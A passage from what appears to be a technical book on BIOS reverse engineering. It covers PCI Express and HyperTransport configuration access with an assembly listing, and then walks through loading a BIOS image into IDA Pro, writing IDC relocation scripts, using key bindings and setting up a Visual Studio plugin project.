configuration mechanism uses BARs that have to be initialized to a known address in the 
system-wide address space before the new PCI Express–enhanced configuration cycle. 
 PCI Express devices, including PCI Express chipsets, use the so-called root 
complex register block (RCRB) for device configuration. The registers in the RCRB are 
memory-mapped registers. Contrary to the PCI configuration mechanism that uses I/O 
read/write transactions, the PCI Express–enhanced configuration mechanism uses memory 
read/write transactions to access any register in the RCRB. However, the read/write 
instructions must be carried out in a 32-bit boundary, i.e., must not cross the 32-bit natural 
boundary in the memory address space. A root complex base address register (RCBAR) is 
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used to address the RCRB in the memory address space. The RCBAR is configured using 
the PCI configuration mechanism. Thus, the algorithm used to configure any register in the 
RCRB as follows: 
 

1. Initialize the RCBAR in the PCI Express device to a known address in the 
memory address space by using the PCI configuration mechanism. 

2. Perform a memory read or write on 32-bit boundary to the memory-mapped 
register by taking into account the RCBAR value; i.e., the address of the register in 
the memory address space is equal to the RCBAR value plus the offset of the 
register in the RCRB. 

 
 Perhaps, even the preceding algorithm is still confusing. Thus, a sample code is 
provided in listing 1.2. 
 

Listing 1.2 PCI Express–Enhanced Configuration Access Sample Code 

Init_HI_RTC_Regs_Mapping proc near 
  mov   eax, 8000F8F0h        ; Enable the PCI configuration cycle to 
                              ; bus 0, device 31, function 0, i.e., 
                              ; the LPC bridge in Intel ICH7 
  mov   dx, 0CF8h             ; dx = PCI configuration address port 
  out   dx, eax 
  add   dx, 4                 ; dx = PCI configuration data port 
  mov   eax, 0FED1C001h       ; enable root complex configuration 
                              ; base address at memory space FED1_C000h 
  out   dx, eax 
  mov   di, offset ret_addr_1 ; Save return address to di register 
  jmp   enter_flat_real_mode 
; ------------------------------------------------------------------ 
ret_addr_1: 
  mov   esi, 0FED1F400h       ; RTC configuration (ICH7 configuration 
                              ; register at memory space offset 3400h) 
  mov   eax, es:[esi] 
  or    eax, 4                ; Enable access to upper 128 bytes of RTC 
  mov   es:[esi], eax 
  mov   di, offset ret_addr_2 ; Save return address to di register 
  jmp   exit_flat_real_mode 
; ------------------------------------------------------------------ 
ret_addr_2: 
  mov   al, 0A1h 
  out   72h, al 
  out   0EBh, al 
  in    al, 73h 
  out   0EBh, al              ; Show the CMOS value in a diagnostic port 
  mov   bh, al 
  retn 
Init_HI_RTC_Regs_Mapping endp 
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 Listing 1.2 is a code snippet from a disassembled boot block part of the Foxconn 
955X7AA-8EKRS2 motherboard BIOS. This motherboard is based on Intel 955X-ICH7 
chipsets. As you can see, the register that controls the RTC register in the ICH77 is a 
memory-mapped register and accessed by using a memory read or write instruction as per 
the PCI Express–enhanced configuration mechanism. In the preceding code snippet, the 
ICH7 RCRB base address is initialized to FED1_C000h. Note that the value of the last bit is 
an enable bit and not used in the base address calculation. That's why it has to be set to one 
to enable the root-complex configuration cycle. This technique is analogous to the PCI 
configuration mechanism. The root-complex base address is located in the memory address 
space of the system from a CPU perspective. 
 One thing to note is that the PCI Express–enhanced configuration mechanism 
described here is implementation dependent; i.e., it works in the Intel 955X-ICH7 chipset. 
Future chipsets may implement it in a different fashion. Nevertheless, you can read the PCI 
Express specification to overcome that. Furthermore, another kind of PCI Express–
enhanced configuration mechanism won't differ much from the current example. The 
registers will be memory mapped, and there will be an RCBAR. 
 
 
1.4.5. HyperTransport Bus Protocol 
 
 In most cases, the HyperTransport configuration mechanism uses the PCI 
configuration mechanism that you learned about in the previous section. Even though the 
HyperTransport configuration mechanism is implemented as a memory-mapped transaction 
under the hood, it's transparent to programmers; i.e., there are no major differences between 
it and the PCI configuration mechanism. HyperTransport-specific configuration registers 
are also located in within the 256-byte PCI configuration registers. However, 
HyperTransport configuration registers are placed at higher indexes than those used for 
mandatory PCI header, i.e., placed above the first 16 dwords in the PCI configuration space 
of the corresponding device. These HyperTransport-specific configuration registers are 
implemented as new capabilities, i.e., pointed to by the capabilities pointer8 in the device's 
PCI configuration space. Please refer to figure 1.7 for the complete PCI configuration 
register layout. 
 
 

                                                 
 
7 The RTC control register is located in the LPC bridge. The LPC bridge in ICH7 is device 31, 
function 0. 
8 The capabilities pointer is located at offset 34h in the standard PCI configuration register layout. 
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Chapter 2 Preliminary Reverse Code 
Engineering 
 
 
PREVIEW 
 
 This chapter introduces software reverse engineering1 techniques by using IDA 
Pro disassembler. Techniques used in IDA Pro to carry out reverse code engineering of a 
flat binary file are presented. BIOS binary flashed into the BIOS chip is a flat binary file.2 
That's why these techniques are important to master. The IDA Pro advanced techniques 
presented include scripting and plugin development. By becoming acquainted with these 
techniques, you will able to carry out reverse code engineering in platforms other than x86. 
 
 
2.1. Binary Scanning 
 
 The first step in reverse code engineering is not always firing up the disassembler 
and dumping the binary file to be analyzed into it, unless you already know the structure of 
the target binary file. Doing a preliminary assessment on the binary file itself is 
recommended for a foreign binary file. I call this preliminary assessment binary scanning, 
i.e., opening up the binary file within a hex editor and examining the content of the binary 
with it. For an experienced reverse code engineer, sometimes this step is more efficient 
rather than firing up the disassembler. If the engineer knows intimately the machine 
architecture where the binary file was running, he or she would be able to recognize key 
structures within the binary file without firing up a disassembler. This is sometimes 
encountered when an engineer is analyzing firmware. 
 Even a world-class disassembler like IDA Pro seldom has an autoanalysis feature 
for most firmware used in the computing world. I will present an example for such a case. 
Start by opening an Award BIOS binary file with Hex Workshop version 4.23. Open a 
BIOS binary file for the Foxconn 955X7AA-8EKRS2 motherboard. The result is shown in 
figure 2.1. 
 

                                                 
 
1 Software reverse engineering is also known as reverse code engineering. It is sometimes abbreviated 
as RCE. 
2 A flat binary file is a file that contains only the raw executable code (possibly with self-contained 
data) in it. It has no header of any form, unlike an executable file that runs within an operating 
system. The latter adheres to some form of file format and has a header so that it can be recognized 
and handled correctly by the operating system. 
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Figure 2.1 Foxconn 955X7AA-8EKRS2 BIOS file opened with Hex Workshop 

 
 A quick look in the American Standard Code for Information Interchange (ASCII) 
section (the rightmost section in the figure) reveals some string. The most interesting one is 
the -lh5- in the beginning of the binary file. An experienced programmer will be 
suspicious of this string, because it resembles a marker for a header of a compressed file. 
Further research will reveal that this is a string to mark the header of a file compressed with 
LHA. 
 You can try a similar approach to another kind of file. For example, every file 
compressed with WinZip will start with ASCII code PK, and every file compressed with 
WinRAR will start with ASCII code Rar!, as seen in a hex editor. This shows how 
powerful a preliminary assessment is. 
 
 
2.2. Introducing IDA Pro 
 
 Reverse code engineering is carried out to comprehend the algorithm used in 
software by analyzing the executable file of the corresponding software. In most cases, the 
software only comes with the executable—without its source code. The same is true for the 
BIOS. Only the executable binary file is accessible. Reverse code engineering is carried out 
with the help of some tools: a debugger; a disassembler; a hexadecimal file editor, a.k.a. a 
hex editor, in-circuit emulator, etc. In this book, I only deal with a disassembler and a hex 
editor. The current chapter only deals with a disassembler, i.e., IDA Pro disassembler. 
 IDA Pro is a powerful disassembler. It comes with support for plugin and scripting 
facilities and support for more than 50 processor architectures. However, every powerful 
tool has its downside of being hard to use, and IDA Pro is not an exception. This chapter is 
designed to address the issue. 
 There are several editions of IDA Pro: freeware, standard, and advanced. The 
latest freeware edition as of the writing of this book is IDA Pro version 4.3. It's available 
for download at http://www.dirfile.com/ida_pro_freeware_version.htm. It's the most limited 
of the IDA Pro versions. It supports only the x86 processor and doesn’t come with a plugin 
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feature, but it comes at no cost, that's why it's presented here. Fortunately, it does have a 
scripting feature. The standard and advanced editions of IDA Pro 4.3 differ from this 
freeware edition. They come with plugin support and support for more processor 
architecture. You will learn how to use the scripting feature in the next section. 
 Use the IDA Pro freeware version to open a BIOS binary file. First, the IDA Pro 
freeware version has to be installed. After the installation has finished, one special step 
must be carried out to prevent an unwanted bug when this version of IDA Pro opens a 
BIOS file with *.rom extension. To do so, you must edit the IDA Pro configuration file 
located in the root directory of the IDA Pro installation directory. The name of the file is 
ida.cfg. Open this file by using any text editor (such as Notepad) and look for the lines in 
Listing 2.1. 
 

Listing 2.1 IDA Pro Processor–to–File Extension Configuration 

DEFAULT_PROCESSOR = { 
/* Extension    Processor */ 
  "com" :       "8086"         // IDA will try the specified 
  "exe" :       ""             // extensions if no extension  is 
  "dll" :       ""             // given. 
  "drv" :       "" 
  "sys" :       "" 
  "bin" :       ""             // Empty processor means default processor 
  "ovl" :       "" 
  "ovr" :       "" 
  "ov?" :       "" 
  "nlm" :       "" 
  "lan" :       "" 
  "dsk" :       "" 
  "obj" :       "" 
  "prc" :       "68000"        // Palm Pilot programs 
  "axf" :       "arm710a" 
  "h68" :       "68000"        // MC68000 for *.H68 files 
  "i51" :       "8051"         // i8051   for *.I51 files 
  "sav" :       "pdp11"        // PDP-11  for *.SAV files 
  "rom" :       "z80"          // Z80     for *.ROM files 
  "cla*":       "java" 
  "s19" :       "6811" 
  "o"   :       "" 
  "*"   :       ""             // Default processor 
} 
 
 Notice the following line: 
  "rom" :       "z80"          // Z80     for *.ROM files 
 
 This line must be removed, or just replace "z80" with "" in this line to disable the 
automatic request to load the z80 processor module in IDA Pro upon opening a *.rom file. 
The bug occurs if the *.rom file is opened and this line has not been changed, because the 
IDA Pro freeware version doesn't come with the z80 processor module. Thus, opening a 
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*.rom file by default will terminate IDA Pro. Some motherboard BIOS files comes with the 
*.rom extension by default, even though it's clear that it won't be executed in a z80 
processor. Fixing this bug will ensure that you will be able to open a motherboard BIOS 
file with the *.rom extension flawlessly. Note that the steps needed to remove other file 
extension–to–processor type "mapping" in this version of IDA Pro is similar to the z80 
processor just described. 
 Proceed to open a sample BIOS file. This BIOS file is da8r9025.rom, a BIOS file 
for a Supermicro H8DAR-8 (original equipment manufacturer–only) motherboard. This 
motherboard used the AMD-8131 HyperTransport PCI-X Tunnel chip and the AMD-8111 
HyperTransport I/O Hub chip. The dialog box in figure 2.2 will be displayed when you 
start IDA Pro freeware version 4.3. 
 

 
Figure 2.2 Snapshot of the first dialog box in IDA Pro freeware 

 
 Just click OK to proceed. The next dialog box, shown in figure 2.3, will be 
displayed. 
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Figure 2.3 Snapshot of the second dialog box in IDA Pro freeware 

 
 In this dialog box you can try one of the three options, but for now just click on the 
Go button. This will start IDA Pro with empty workspace as shown in figure 2.4. 
 

 
Figure 2.4 Snapshot of the main window of IDA Pro freeware 
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 Then, locate and drag the file to be disassembled to the IDA Pro window (as 
shown in the preceding figure). Then, IDA Pro will show the dialog box in figure 2.5. 
 

 
Figure 2.5 Snapshot of loading a new binary file in IDA Pro freeware 

 
 In this dialog box, select Intel 80x86 processors: athlon as the processor type in 
the dropdown list. Then, click the Set button to activate the new processor selection. Leave 
the other options as they are. (Code relocation will be carried out using IDA Pro scripts in a 
later subsection.) Click OK. Then, IDA Pro shows the dialog box in figure 2.6. 
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Figure 2.6 Intel x86-compatible processor mode selections 

 
 This dialog box asks you to choose the default operating mode of the x86-
compatible processor during the disassembling process. AMD64 Architecture 
Programmer's Manual Volume 2: System Programming, February 2005, section 14.1.5, 
page 417, states the following: 
 

After a RESET# or INIT, the processor is operating in 16-bit real mode. 

 
 In addition, IA-32 Intel Architecture Software Developer's Manual Volume 3: 
System Programming Guide 2004, section 9.1.1, states the following: 
 

Table 9-1 shows the state of the flags and other registers following power-up 
for the Pentium 4, Intel Xeon, P6 family, and Pentium processors. The state 
of control register CR0 is 60000010H (see Figure 9-1), which places the 
processor is in real-address mode with paging disabled. 

 
 Thus, you can conclude that any x86-compatible processor will start its execution 
in 16-bit real mode just after power-up and you have to choose 16-bit mode in this dialog 
box. It's accomplished by clicking No in the dialog box. Then, the dialog box in figure 2.7 
pops up. 
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Figure 2.7 Entry point information 

 
 This dialog box says that IDA Pro can't decide where the entry point is located. 
You have to locate it yourself later. Just click OK to continue to the main window for the 
disassembly process (figure 2.8). 
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Figure 2.8 IDA Pro workspace 

 
 Up to this point, you have been able to open the binary file within IDA Pro. This is 
not a trivial task for people new to IDA Pro. That's why it's presented in a step-by-step 
fashion. However, the output in the workspace is not yet usable. The next step is learning 
the scripting facility that IDA Pro provides to make sense of the disassembly database that 
IDA Pro generates. 
 
 
2.3. IDA Pro Scripting and Key Bindings 
 
 Try to decipher the IDA Pro disassembly database shown in the previous section 
with the help of the scripting facility. Before you proceed to analyzing the binary, you have 
to learn some basic concepts about the IDA Pro scripting facility. IDA Pro script syntax is 
similar to the C programming language. The syntax is as follows: 
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1. IDA Pro scripts recognize only one type of variable, i.e., auto. There are no other 
variable types, such as int or char. The declaration of variable in an IDA Pro 
script as follows: 
auto variable_name; 

2. Every statement in an IDA Pro script ends with a semicolon (;), just like in the C 
programming language. 

3. A function can return a value or not, but there's no return-type declaration. The 
syntax is as follows: 
static function_name(parameter_1, parameter_n, ...) 

4. A comment in an IDA Pro script starts with a double slash (//). The IDA Pro 
scripting engine ignores anything after the comment in the corresponding line. 
// comment 
statement; // comment 

5. IDA Pro "exports" its internal functionality to the script that you build by using 
header files. These header files must be "included" in the script so that you can 
access that functionality. At least one header file must be included in any IDA Pro 
script, i.e., idc.idc. The header files are located inside a folder named idc in the 
IDA Pro installation directory. You must read the *.idc files inside this directory to 
learn about the functions exported by IDA Pro. The most important header file to 
learn is idc.idc. The syntax used to include a header file in an IDA Pro script is as 
follows: 
#include < header_file_name> 

6. The entry point of an IDA Pro script is the main function, just as in the C 
programming language. 

 
 Now is the time to put the theory into a simple working example, an IDA Pro 
sample script (listing 2.2). 
 

Listing 2.2 IDA Pro Code Relocation Script 

#include <idc.idc> 
// Relocate one segment 
static relocate_seg(src, dest) 
{ 
       auto ea_src, ea_dest, hi_limit; 
 
       hi_limit = src + 0x10000; 
       ea_dest = dest; 
 
       for(ea_src = src; ea_src < hi_limit ; ea_src = ea_src + 4 ) 
       { 
       PatchDword( ea_dest, Dword(ea_src)); 
       ea_dest = ea_dest + 4; 
       } 
 
  Message("segment relocation finished" 
          "(inside relocate_seg function)...\n"); 
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} 
 
static main() 
{ 
  Message("creating target segment" 
          "(inside entry point function main)...\n"); 
  SegCreate([0xF000, 0], [0x10000, 0], 0xF000, 0, 0, 0); 
  SegRename([0xF000, 0], "_F000");// Give a new name to the segment 
  relocate_seg([0x7000,0], [0xF000, 0]); 
} 

 
 As explained previously, the entry point in listing 2.2 is function main. First, this 
function displays a message in the message pane with a call to an IDA Pro internal function 
named Message in these lines: 
 
  Message("creating target segment" 
          "(inside entry point function main)...\n"); 
 
 Then, it creates a new segment with a call to another IDA Pro internal function, 
SegCreate in this line: 
 
  SegCreate([0xF000, 0], [0x10000, 0], 0xF000, 0, 0, 0); 
 
 It calls another IDA Pro internal function named SegRename to rename the newly 
created segment in this line: 
 
  SegRename([0xF000, 0], "_F000");// Give a new name to the segment 
 
 Then, it calls the relocate_seg function to relocate part (one segment) of the 
disassembled binary to the new segment in this line: 
 
  relocate_seg([0x7000,0], [0xF000, 0]); 
 
 The pair of square brackets, i.e., [ ], in the preceding script is an operator used to 
form the linear address from its parameters by shifting the first parameter 4 bits to left 
(multiplying by 16 decimal) and then adding the second parameter to the result; e.g., 
[0x7000, 0] means (0x7000 << 4) + 0, i.e., 0x7_0000 linear address. This operator is 
the same as the MK_FP( , ) operator in previous versions of IDA Pro. 
 You must read idc.idc file to see the "exported" function definition that will allow 
you to understand this script completely, such as the Message, SegCreate, and 
SegRename functions. Another "exported" function that maybe of interest can be found in 
the numerous *.idc files in the idc directory of IDA Pro installation folder. To be able to 
use the function, you must look up its definition in the exported function definition in the 
corresponding *.idc header file. For example, SegCreate function is defined in the idc.idc 
file as shown in listing 2.3. 
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Listing 2.3 SegCreate Function Definition 

// Create a new segment 
//      startea  - linear address of the start of the segment 
//      endea    - linear address of the end of the segment 
//                 This address will not belong to the segment. 
//                 'endea' should be higher than 'startea' 
//      base     - base paragraph or selector of the segment 
//                 A paragraph is a 16-byte memory chunk. 
//                 If a selector value is specified, the selector 
//                 should already be defined. 
//      use32    - 0: 16bit segment, 1: 32bit segment 
//      align    - Segment alignment; see below for alignment values 
//      comb     - Segment combination; see below for combination values 
// 
// returns: 0 - failed, 1 - ok 
 
success SegCreate( long startea,long endea,long base,  long use32, 
                   long align,long comb); 
 
 IDA Pro internal functions have informative comments in the IDA Pro include 
files for the scripting facility, as shown in listing 2.3. 
 Anyway, note that a 512-KB BIOS binary file must be opened in IDA Pro with the 
loading address set to 0000h to be able to execute the sample script in listing 2.2. This 
loading scheme is the same as explained in the previous section. In this case, you will just 
open the BIOS binary file of the Supermicro H8DAR-8 motherboard as in the previous 
section and then execute the script. 
 First, you must type the preceding script into a plain text file. You can use Notepad 
or another ASCII file editor for this purpose. Name the file function.idc. The script is 
executed by clicking the File|IDC file... menu or by pressing F2, then the dialog box in 
figure 2.9 will be shown. 
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Figure 2.9 IDC script execution dialog 

 
 Just select the file and click Open to execute the script. If there's any mistake in 
the script, IDA Pro will warn you with a warning dialog box. Executing the script will 
display the corresponding message in the message pane of IDA Pro as shown in figure 
2.10. 
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Figure 2.10 The result of executing function.idc 

 
 The script in listing 2.2 relocates the last segment (64 KB) of the Supermicro 
H8DAR-8 BIOS code to the correct place. You must be aware that IDA Pro is only an 
advanced tool to help the reverse code engineering task; it's not a magical tool that's going 
to reveal the overall structure of the BIOS binary without your significant involvement in 
the process. The script relocates or copies BIOS code from physical or linear address 
0x7_0000–0x7_FFFF to 0xF_0000–0xF_FFFF. The logical reason behind this algorithm is 
explained later. AMD-8111 HyperTransport I/O Hub Datasheet, chapter 4, page 153, says 
this: 
 

Note: The following ranges are always specified as BIOS address ranges. 
See DevB:0x80 for more information about how access to BIOS spaces may 
be controlled. 
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Size Host address range[31:0] Address translation for LPC bus 

64 KB FFFF_0000h–FFFF_FFFFh FFFF_0000h–FFFF_FFFFh 
64 KB 000F_0000h–000F_FFFFh FFFF_0000h–FFFF_FFFFh 

 
 In addition, AMD64 Architecture Programmer's Manual Volume 2: System 
Programming, February 2005, section 14.1.5, page 417, says this: 
 

Normally within real mode, the code-segment base address is formed by 
shifting the CS-selector value left four bits. The base address is then added 
to the value in EIP to form the physical address into memory. As a result, 
the processor can only address the first 1 Mbyte of memory when in real 
mode. However, immediately following RESET# or INIT, the CS selector 
register is loaded with F000h, but the CS base-address is not formed by left-
shifting the selector. Instead, the CS base address is initialized to 
FFFF_0000h. EIP is initialized to FFF0h. Therefore, the first instruction 
fetched from memory is located at physical-address FFFF_FFF0h 
(FFFF_0000h +0000_FFF0h). 
 
The CS base-address remains at this initial value until the CS selector 
register is loaded by software. This can occur as a result of executing a far 
jump instruction or call instruction, for example. When CS is loaded by 
software, the new base-address value is established as defined for real 
mode (by left shifting the selector value four bits). 

 
 From the preceding references, you should conclude that address 000F_0000h–
000F_FFFFh is an alias to address FFFF_0000h–FFFF_FFFFh, i.e., they both point to the 
same physical address range. Whenever the host (CPU) accesses some value in the 
000F_0000h–000F_FFFFh address range, it's actually accessing the value in the 
FFFF_0000h–FFFF_FFFFh range, and the reverse is also true. From this fact, I know that I 
have to relocate 64 KB of the uppermost BIOS code to address 000F_0000h–000F_FFFFh 
for further investigation. This decision is made based on my previous experience with 
various BIOS binary files; they generally references an address with F000h used as the 
segment value within the BIOS code. Also, note that the last 64 KB of the BIOS binary file 
are mapped to last 64 KB of the 4-GB address space, i.e., 4 GB–64 KB to 4 GB. That's why 
you have to relocate the last 64 KB. This addressing issue will be covered in depth in the 
first section of chapter 5. Thus, if the concept remains too hard to grasp, there is no need to 
worry about it. 
 Simple script of only several lines can be typed and executed directly within IDA 
Pro without opening a text editor. IDA Pro provides a specific dialog box for this purpose, 
and it can be accessed by pressing Shift+F2. This is more practical for a simple task, but as 
the number of lines in the routine grows, you might consider coding the script as described 
in the previous explanation because there is a limitation on the number of instruction that 
can be entered in the dialog box. In this dialog box, enter the script to be executed and click 
OK to execute the script. An example script is shown in figure 2.11. 
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Figure 2.11 Simple IDA Pro script dialog box 

 
 The script shown in figure 2.11 is another form of the script shown in listing 2.2. 
Note that there is no need for the #include statement in the beginning of the script, since 
by default all functions exported by IDA Pro in its scripts header files (*.idc) are accessible 
within the scripting dialog box shown. The main function also doesn't need to be defined. 
In fact, anything you write within the dialog box entry will behave as if it's written inside 
the main function in an IDA Pro script file. 
 At present, you can relocate the binary within IDA Pro; the next step is to 
disassemble the binary within IDA Pro. Before that, you need to know how default key 
binding works in IDA Pro. Key binding is the "mapping" between the keyboard button and 
the command carried out when the corresponding key is pressed. The cursor must be placed 
in the workspace before any command is carried out in IDA Pro. Key binding is defined in 
the idagui.cfg file located in the IDA Pro installation directory. An excerpt of the key 
binding (hot key) is provided in listing 2.4. 
 

Listing 2.4 Key Binding Excerpt 

"MakeCode"              =       'C' 
"MakeData"              =       'D' 
"MakeAscii"             =       'A' 
"MakeUnicode"           =       0          // Create Unicode string 
"MakeArray"             =       "Numpad*" 
"MakeUnknown"           =       'U' 
"MakeName"              =       'N' 
"ManualOperand"         =       "Alt-F1" 
"MakeFunction"          =       'P' 
"EditFunction"          =       "Alt-P" 
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"DelFunction"           =       0 
 
 You can alter idagui.cfg to change the default key binding. However, in this book, 
I only consider the default key binding. Now that you have grasped the key binding 
concept, I will show you how to use it in the binary. 
 In the previous example, you were creating a new segment, i.e., 0xF000. Now, you 
will go to the first instruction executed in the BIOS within that segment, i.e., address 
0xF000:0xFFF0. Press G, and the dialog box in figure 2.12 will be shown. 
 

 
Figure 2.12 The "Jump to address" dialog box 

 
 In this dialog box, enter the destination address. You must enter the address in its 
complete form (segment:offset) as shown in the preceding figure, i.e., F000:FFF0. Then, 
click OK to go to the intended address. Note that you don't have to type the leading 0x 
character because, by default, the value within the input box is in hexadecimal. The result 
will be as shown in figure 2.13. 
 

 
Figure 2.13 The "jump to address" result dialog box 
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 The next step is to convert the value in this address into a meaningful machine 
instruction. To do so, press C. The result is shown in figure 2.14. 
 

 
Figure 2.14 Converting values into code 

 
 Then, you can follow the jump by pressing Enter. The result is shown in figure 
2.15. 
 

 
Figure 2.15 Following the jump 

 
 You can return from the jump you've just made by pressing Esc. 
 Up to this point, you've gained significant insight into how to use IDA Pro. You 
just need to consult the key bindings in idagui.cfg in case you want to do something and 
don't know what key to press. 
 
 
2.4. IDA Pro Plugin (Optional) 
 
 In this section you will learn how to develop an IDA Pro plugin. This is an 
optional section because you must buy the commercial edition of IDA Pro, i.e., IDA Pro 
standard edition or IDA Pro advanced edition, to obtain its software development kit 
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(SDK). The SDK is needed to build an IDA Pro plugin. In addition, you need Microsoft 
Visual Studio .NET 2003 IDE (its Visual C++ compiler) to build the plugin. Visual Studio 
.NET 2003 isn't mandatory; you can use another kind of compiler or IDE that's supported 
by the IDA Pro SDK, such as the GNU C/C++ compiler or the Borland C/C++ compiler, 
but I concentrate on Visual Studio .NET 2003 here. 
 The plugin is the most powerful feature of IDA Pro. It has far more use than the 
scripting facility. Moreover, an experienced programmer can use it to automate various 
tasks. The scripting facility lacks variable types and its maximum length is limited, even 
though it's far longer than a thousand lines. The need for a plugin immediately arises when 
you have to build a complex unpacker for part of the binary that's being analyzed or 
perhaps when you need a simple virtual machine to emulate part of the binary. 
 I use IDA Pro 4.8 advanced edition with its SDK since IDA Pro 4.3 freeware 
edition doesn't support plugins. The first sample won't be overwhelming. It will just show 
how to build a plugin and execute it within IDA Pro. This plugin will display a message in 
the IDA Pro message pane when it's activated. The steps to build this plugin are as follows: 
 

1. Create a new project by clicking File|New|Project (Ctrl+Shift+N). 
2. Expand the Visual C++ Projects folder. Then, expand the Win32 subfolder and 

select the Win32 Project icon in the right pane of this New Project dialog 
window. Then, type the appropriate project name in the Name edit box and click 
OK. Steps 1 and 2 are summarized in figure 2.16. 

 

 
Figure 2.16 Creating a new project for an IDA Pro plugin 

 

3. Now, Win32 Application Wizard is shown. Ensure that the Overview tab shows 
that you are selecting Windows Application. Then, proceed to the Application 

 
 

19 



Settings tab. From the Application type selection buttons select DLL, and from 
the Additional options checkboxes choose empty project. Then, click finish. 
This step is shown in figure 2.17. 

 

 
Figure 2.17 Application settings for the IDA Pro plugin project 

 
4. In the Solution Explorer on the right side of Visual Studio .NET 2003, right-

click the Source Files folder and go to Add|Add New Item... or Add|Add 
Existing Item... to add the relevant source code files (*.cpp, *.c) into the plugin 
project as shown in figure 2.18. Start by creating new source code file, i.e., 
main.cpp. Then, copy the contents of main source code file of the sample plugin 
from the IDA Pro SDK (sdk\plugins\vcsample\strings.cpp) to main.cpp. 
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Figure 2.18 Adding the source code file for the IDA Pro plugin project 

 
5. Go to the project properties dialog by clicking the Project|project_name 

Properties... menu. 
 

 
Figure 2.19 Activating project property pages 

 
6. Then, carry out the following modifications to project settings: 

 
a. C/C++|General: Set Detect 64-bit Portability Issue checks to No. 
b. C/C++|General: Set Debug Information Format to Disabled. 
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c. C/C++|General: Add the SDK include path to the Additional Include 
Directories field, e.g., C:\Program Files\IDA\SDK\Include. 

d. C/C++|Preprocessor: Add __NT__;__IDP__;__EA64__ to Preprocessor 
Definitions. The __EA64__ definition is required for the 64-bit version of 
IDA Pro disassembler, i.e., the one that uses 64-bit addressing in the 
disassembly database and supports the x86-64 instruction sets. Otherwise, 
__EA64__ is not needed and shouldn't be defined. 

e. C/C++|Code Generation: Turn off Buffer Security Check, set Basic 
Runtime Checks to default, and set Runtime Library to Single 
Threaded. 

f. C/C++|Advanced: Set the calling convention to __stdcall. 
g. Linker|General: Change the output file from a *.dll to a *.p64 (for IDA 

Pro 64-bit version plugin) or to a *.plw (for IDA Pro 32-bit version 
plugin). 

h. Linker|General: Add the path to your libvc.wXX (i.e., libvc.w32 for the 
32-bit version plugin or libvc.w64 for the 64-bit version plugin) to 
Additional Library Directories, e.g., C:\Program 
Files\IDA\SDK\libvc.w64. 

i. Linker|Input: Add ida.lib to Aditional Dependencies. 
j. Linker|Debugging: Set Generate Debug Info to No. 
k. Linker|Command Line: Add /EXPORT:PLUGIN. 

 
 These steps are carried out in the Project Property Pages as shown in figure 2.20. 
 

 
Figure 2.20 IDA Pro plugin project property pages 
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 Now the compilation environment is ready. Open main.cpp in the workspace. You 
will find the run function similar to listing 2.5. 
 

Listing 2.5 IDA Pro Plugin Entry-Point Function Sample 

// ----------------------------------------------------------------- 
// 
//      The plugin method 
// 
//      This is the main function of plugin. 
// 
//      It will be called when the user selects the plugin. 
// 
//              arg - The input argument. It can be specified in 
//                    the plugins.cfg file. The default is zero. 
// 
// 
 
void idaapi run(int arg) 
{ 
   msg("just fyi: the current screen address is: %a\n", 
        get_screen_ea()); 
} 
 
 Edit the run function until it looks like listing 2.5. The run function is the 
function called when an IDA Pro plugin is activated in the IDA Pro workspace. In the 
SDK's sample plugin, the run function is used to display a message in the message pane of 
IDA Pro. Once the plugin compilation succeeds, you can execute it by copying the plugin 
(*.plw or *.p64) to the plugin directory within the IDA Pro installation directory and start 
the plugin by pressing its shortcut key. The shortcut key is defined in the 
wanted_hotkey[] variable in main.cpp. Alternatively, you can activate the plugin by 
typing RunPlugin in the IDA Pro script dialog box and clicking the OK button, as shown 
in figure 2.21. 
 

 
Figure 2.21 Loading the IDA Pro plugin 
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 Note that the path is delimited with a double backslash (\\). This is because the 
backslash is interpreted as an escape character just as in the C programming language. 
Thus, you must use a double backslash in the scripting dialog box. The result of the 
execution is a message displayed in the message pane during the loading of the plugin, as 
shown in figure 2.22 
 

 
Figure 2.22 Result of loading the IDA Pro plugin 

 
 The message shown in figure 2.22 is the string passed as a parameter into the msg 
function in the plugin source code in listing 2.5. The msg function is defined inside the IDA 
Pro SDK folder, i.e., the sdk/include/kernwin.hpp file, as follows: 
 

Listing 2.6 Declaring and Defining the msg Function 

// Output a formatted string to the messages window [analog of printf()] 
//      format - printf() style message string 
// Message() function does the same, but the format string is taken 
// from IDA.HLP 
// Returns: number of bytes output 
// 
// Everything appearing on the messages window may be written 
// to a text file. For this, the user should define an environment 
// variable IDALOG: 
//         set IDALOG=idalog.txt 
// 
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inline int msg(const char *format,...) 
{ 
  va_list va; 
  va_start(va, format); 
  int nbytes = vmsg(format, va); 
  va_end(va); 
  return nbytes; 
} 
 
 The msg function is useful as a debugging aid while developing the IDA Pro 
plugin. To do so, you can log plugin-related messages in the IDA Pro message pane with 
this function. Experienced C/C++ programmers will recognize that the msg function is 
similar to variations of the printf function in C/C++. 
 Up to this point, the development of an IDA Pro plugin has been clear. However, 
you can develop another plugin that has a graphical user interface (GUI). It will be dialog 
based and use Windows message-loop processing during its execution. It will be more 
flexible than the script version. It is sometimes useful to have an easily accessible user 
interface for an IDA Pro plugin. That's why you will learn about that here. 
 The plugin will use a lot of Windows application programming interface (Win32 
API). Hence, I recommend that you read a book by Charles Petzold, Programming 
Windows (5th edition, Microsoft Press, 1998) if you haven't been exposed to Win32 API. 
Use Win32 API to create a dialog box for the IDA Pro plugin. The relevant material in 
Petzold's book for this purpose is found in chapters 1, 2, 3, and 11. A thorough explanation 
about the source code will be presented. Nevertheless, it'll be hard to grasp this without 
significant background in Win32 API. 
 Start the plugin development. The first steps are just the same as explained in the 
previous plugin example. Proceed accordingly, until you can show a message in the IDA 
Pro message pane. Then, you have to modify three types of core functions in the IDA Pro 
plugin source code, i.e., init, term, and run. The term function is called when the plugin 
is in the process of being terminated, init is called when the plugin is being started (loaded 
to the IDA Pro workspace), and run is called when the plugin is activated by pressing its 
shortcut key or by invoking the plugin with RunPlugin in an IDA Pro script. 
 Initialize the user interface inside init, and clean up the corresponding user 
interface resources during the termination process inside term. Let's get down to the code. 
 

Listing 2.7 BIOS Binary Analyzer Plugin Framework 

/* 
 * Filename: main.cpp 
 * 
 * This is the main file of the Award BIOS binary analyzer plugin. 
 * This file handles the user interface aspect of the plugin. 
 * It can be compiled by Microsoft Visual C++. 
 */ 
 
#include <windows.h> 
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#include <ida.hpp> 
#include <idp.hpp> 
#include <expr.hpp> 
#include <bytes.hpp> 
#include <loader.hpp> 
#include <kernwin.hpp> 
 
#include "resource.h" 
#include "analyzer_engine.hpp" 
 
// Window handles 
static HWND hMainWindow; 
static HWND h_plugin_dlg; 
static HMODULE hModule; 
 
